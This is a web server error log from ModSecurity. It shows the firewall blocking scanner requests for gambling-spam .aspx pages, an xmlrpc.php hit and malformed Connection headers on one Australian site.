[Sat Mar 28 21:27:04.832823 2026] [:error] [pid 64860:tid 64922] [client 81.167.26.57:44741] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "acfXKBkU3N0pg_4aEL-kgwAAAE4"]
[Sat Mar 28 21:27:07.443484 2026] [:error] [pid 64861:tid 64956] [client 81.167.26.57:34849] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "acfXK-xK22_lUN2kvnV9ZwAAAJU"]
[Sat Mar 28 21:27:09.898621 2026] [:error] [pid 64860:tid 64928] [client 81.167.26.57:25375] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "acfXLRkU3N0pg_4aEL-kjgAAAFQ"]
[Sat Mar 28 21:27:12.483006 2026] [:error] [pid 43578:tid 43597] [client 81.167.26.57:11683] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "acfXMHNG2YdGm41aN8ICzAAAAlA"]
[Sat Mar 28 21:27:15.078422 2026] [:error] [pid 64966:tid 64978] [client 81.167.26.57:64366] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "acfXM9fSvF5AFfSuKxU65gAAAMU"]
[Sat Mar 28 21:27:17.677037 2026] [:error] [pid 64966:tid 64985] [client 81.167.26.57:43726] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "acfXNdfSvF5AFfSuKxU66QAAAMw"]
[Sat Mar 28 21:27:20.295182 2026] [:error] [pid 64966:tid 64996] [client 81.167.26.57:41283] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "acfXONfSvF5AFfSuKxU67gAAANc"]
[Sat Mar 28 21:27:22.884748 2026] [:error] [pid 43579:tid 43617] [client 81.167.26.57:4359] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "acfXOiRqN4JVI8gB7An6owAAAok"]
[Sat Mar 28 21:27:25.485928 2026] [:error] [pid 64860:tid 64925] [client 81.167.26.57:57271] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "acfXPRkU3N0pg_4aEL-koAAAAFE"]
[Sat Mar 28 21:27:28.083432 2026] [:error] [pid 34631:tid 34661] [client 81.167.26.57:19363] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "acfXQDtzjMMS6kojpeRayQAAAcE"]
[Sat Mar 28 21:27:30.692598 2026] [:error] [pid 43579:tid 43615] [client 81.167.26.57:34932] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "acfXQiRqN4JVI8gB7An6pwAAAoc"]
[Sat Mar 28 21:27:33.288027 2026] [:error] [pid 43547:tid 43567] [client 81.167.26.57:12444] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "acfXRT4ZEfdetXP-9aAB3wAAAhI"]
[Sat Mar 28 21:27:35.884288 2026] [:error] [pid 64861:tid 64951] [client 81.167.26.57:32064] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "acfXR-xK22_lUN2kvnV9igAAAJA"]
[Sat Mar 28 21:27:38.481322 2026] [:error] [pid 64861:tid 64944] [client 81.167.26.57:43530] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "acfXSuxK22_lUN2kvnV9lQAAAIk"]
[Sat Mar 28 21:27:41.088015 2026] [:error] [pid 64966:tid 64973] [client 81.167.26.57:37675] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "acfXTdfSvF5AFfSuKxU6-AAAAMA"]
[Sat Mar 28 21:27:43.673326 2026] [:error] [pid 64859:tid 64904] [client 81.167.26.57:6894] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "acfXT23qEBHXq3rHdBlbpAAAABc"]
[Sat Mar 28 21:28:04.349766 2026] [:error] [pid 43579:tid 43612] [client 81.167.26.57:3860] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "acfXZCRqN4JVI8gB7An6zwAAAoQ"]
[Sat Mar 28 21:28:07.484510 2026] [:error] [pid 43547:tid 43555] [client 81.167.26.57:41849] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "acfXZz4ZEfdetXP-9aAB_QAAAgY"]
[Sat Mar 28 21:28:09.928509 2026] [:error] [pid 43547:tid 43565] [client 81.167.26.57:19544] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "acfXaT4ZEfdetXP-9aACAgAAAhA"]
[Sat Mar 28 21:28:12.500344 2026] [:error] [pid 64861:tid 64939] [client 81.167.26.57:43871] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "acfXbOxK22_lUN2kvnV9vAAAAIQ"]
[Sat Mar 28 21:28:15.111657 2026] [:error] [pid 34631:tid 34666] [client 81.167.26.57:37395] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "acfXbztzjMMS6kojpeRa6QAAAcY"]
[Sat Mar 28 21:28:17.703640 2026] [:error] [pid 43578:tid 43586] [client 81.167.26.57:31585] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "acfXcXNG2YdGm41aN8IDFAAAAkU"]
[Sat Mar 28 21:28:20.330405 2026] [:error] [pid 64859:tid 64882] [client 81.167.26.57:3536] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "acfXdG3qEBHXq3rHdBlb0AAAAAE"]
[Sat Mar 28 21:28:22.915464 2026] [:error] [pid 2877:tid 2894] [client 81.167.26.57:49568] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "acfXdrgM4xL1Xj409YQUOAAAAQ8"]
[Sat Mar 28 21:28:25.520275 2026] [:error] [pid 43547:tid 43567] [client 81.167.26.57:48657] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "acfXeT4ZEfdetXP-9aACCQAAAhI"]
[Sat Mar 28 21:28:28.109102 2026] [:error] [pid 64860:tid 64911] [client 81.167.26.57:35869] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "acfXfBkU3N0pg_4aEL-k6gAAAEM"]
[Sat Mar 28 21:28:31.048034 2026] [:error] [pid 64859:tid 64897] [client 81.167.26.57:26582] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "acfXf23qEBHXq3rHdBlb6wAAABA"]
[Sat Mar 28 21:28:33.602515 2026] [:error] [pid 43579:tid 43628] [client 81.167.26.57:49721] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "acfXgSRqN4JVI8gB7An64gAAApQ"]
[Sat Mar 28 21:28:36.199022 2026] [:error] [pid 43547:tid 43559] [client 81.167.26.57:34779] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "acfXhD4ZEfdetXP-9aACEgAAAgo"]
[Sat Mar 28 21:28:38.642580 2026] [:error] [pid 64859:tid 64899] [client 81.167.26.57:52660] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "acfXhm3qEBHXq3rHdBlb-QAAABI"]
[Sat Mar 28 21:28:41.228966 2026] [:error] [pid 64861:tid 64952] [client 81.167.26.57:64402] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "acfXiexK22_lUN2kvnV93gAAAJE"]
[Sat Mar 28 21:28:43.817719 2026] [:error] [pid 43579:tid 43614] [client 81.167.26.57:55808] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "acfXiyRqN4JVI8gB7An67gAAAoY"]
[Sat Mar 28 21:28:46.401604 2026] [:error] [pid 64861:tid 64952] [client 81.167.26.57:27172] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "acfXjuxK22_lUN2kvnV97QAAAJE"]
[Sat Mar 28 21:28:48.995830 2026] [:error] [pid 64966:tid 64977] [client 81.167.26.57:27712] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "acfXkNfSvF5AFfSuKxU7JwAAAMQ"]
[Sat Mar 28 21:28:51.432013 2026] [:error] [pid 43579:tid 43620] [client 81.167.26.57:58302] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "acfXkyRqN4JVI8gB7An68QAAAow"]
[Sat Mar 28 21:28:54.026983 2026] [:error] [pid 64861:tid 64952] [client 81.167.26.57:2919] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "acfXluxK22_lUN2kvnV-FQAAAJE"]
[Sat Mar 28 21:28:56.617728 2026] [:error] [pid 34631:tid 34665] [client 81.167.26.57:38859] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "acfXmDtzjMMS6kojpeRa9QAAAcU"]
[Sat Mar 28 21:28:59.220890 2026] [:error] [pid 34631:tid 34684] [client 81.167.26.57:46115] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "acfXmztzjMMS6kojpeRa-AAAAdg"]
[Sat Mar 28 21:29:01.802072 2026] [:error] [pid 34631:tid 34682] [client 81.167.26.57:61130] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "acfXnTtzjMMS6kojpeRa_QAAAdY"]
[Sat Mar 28 23:15:58.054469 2026] [:error] [pid 64861:tid 64959] [client 179.108.59.227:32511] [client 179.108.59.227] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 179.108.59.227, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "acfwruxK22_lUN2kvnWr-QAAAJg"]
[Sat Mar 28 23:36:42.424660 2026] [:error] [pid 43578:tid 43581] [client 45.94.31.49:60374] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "acf1inNG2YdGm41aN8I3-AAAAkA"]
[Sat Mar 28 23:36:43.794659 2026] [:error] [pid 64860:tid 64916] [client 45.94.31.49:53657] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "acf1ixkU3N0pg_4aEL-71gAAAEg"]
[Sat Mar 28 23:36:45.118899 2026] [:error] [pid 64860:tid 64913] [client 45.94.31.49:52408] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "acf1jRkU3N0pg_4aEL-76QAAAEU"]
[Sat Mar 28 23:36:46.238321 2026] [:error] [pid 64859:tid 64896] [client 45.94.31.49:53570] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "acf1jm3qEBHXq3rHdBl5BgAAAA8"]
[Sat Mar 28 23:36:47.272860 2026] [:error] [pid 43578:tid 43583] [client 45.94.31.49:65534] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "acf1j3NG2YdGm41aN8I4YAAAAkI"]
[Sun Mar 29 00:12:24.515604 2026] [:error] [pid 64861:tid 64943] [client 43.157.180.116:42858] [client 43.157.180.116] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "acf96OxK22_lUN2kvnXHdwAAAIg"]
[Sun Mar 29 05:48:59.385864 2026] [:error] [pid 12910:tid 12921] [client 49.233.45.47:54974] [client 49.233.45.47] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "achMyynoNBcZwnBvsMNbVQAAAUk"]
[Sun Mar 29 06:21:05.255929 2026] [:error] [pid 23250:tid 23265] [client 43.153.204.189:37894] [client 43.153.204.189] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "achUUZxrpj-dQjy1cvo_xAAAAk0"]
[Sun Mar 29 08:48:22.264136 2026] [:error] [pid 32255:tid 32306] [client 51.83.5.74:55104] [client 51.83.5.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "ach21mnfn-AtRoMbquyPoAAAAE8"]
[Sun Mar 29 08:48:24.739105 2026] [:error] [pid 23168:tid 23219] [client 51.83.5.74:38000] [client 51.83.5.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "ach22GP8p0yRL8ot_28Q0gAAAhY"]
[Sun Mar 29 08:48:27.274044 2026] [:error] [pid 23167:tid 23184] [client 51.83.5.74:38014] [client 51.83.5.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "ach22xIAHJCFaHff3_eWdgAAAc4"]
[Sun Mar 29 08:48:29.795319 2026] [:error] [pid 23137:tid 23146] [client 51.83.5.74:38026] [client 51.83.5.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "ach23RaWQa7LdZ_qGFaZqQAAAYc"]
[Sun Mar 29 08:48:32.381136 2026] [:error] [pid 23167:tid 23181] [client 51.83.5.74:38034] [client 51.83.5.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "ach24BIAHJCFaHff3_eWfQAAAcs"]
[Sun Mar 29 08:48:34.965530 2026] [:error] [pid 1524:tid 1554] [client 51.83.5.74:60276] [client 51.83.5.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "ach24loaWSl2asqQCh812AAAARY"]
